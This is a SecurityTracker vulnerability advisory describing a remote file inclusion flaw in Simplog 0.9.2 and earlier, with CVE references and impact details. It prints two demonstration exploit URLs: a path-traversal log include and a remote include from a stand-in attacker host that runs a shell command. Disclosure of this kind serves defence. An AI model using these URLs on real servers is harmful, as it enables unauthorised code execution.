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Category:   Application (Forum/Board/Portal)  >   Simplog Vendors:   simplog.org
Simplog Include File Bug in 'doc/index.php' Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1015904
SecurityTracker URL:  http://securitytracker.com/id/1015904
CVE Reference:   CVE-2006-1776, CVE-2006-1777, CVE-2006-1778, CVE-2006-1779   (Links to External Site)
Updated:  Nov 27 2009
Original Entry Date:  Apr 12 2006
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 0.9.2 and prior versions
Description:   rgod reported a vulnerability in Simplog. A remote user can include and execute arbitrary code on the target system.

The 'doc/index.php' script does not properly validate user-supplied input in HTTP requests before including files based on the request parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

Some demonstration exploit URLs are provided:

http://[target]/[path]/doc/index.php?s=../../../../var/httpd/logs/error_log%00

http://[target]/[path]/doc/index.php?cmd=ls%
20-la&s=http://[attacker]/

The original advisory is available at:

http://retrogod.altervista.org/simplog_092_incl_xpl.html

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.simplog.org/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  Simplog <=0.9.2 multiple vulnerabilities

http://retrogod.altervista.org/simplog_092_incl_xpl.html

rgod
 
 


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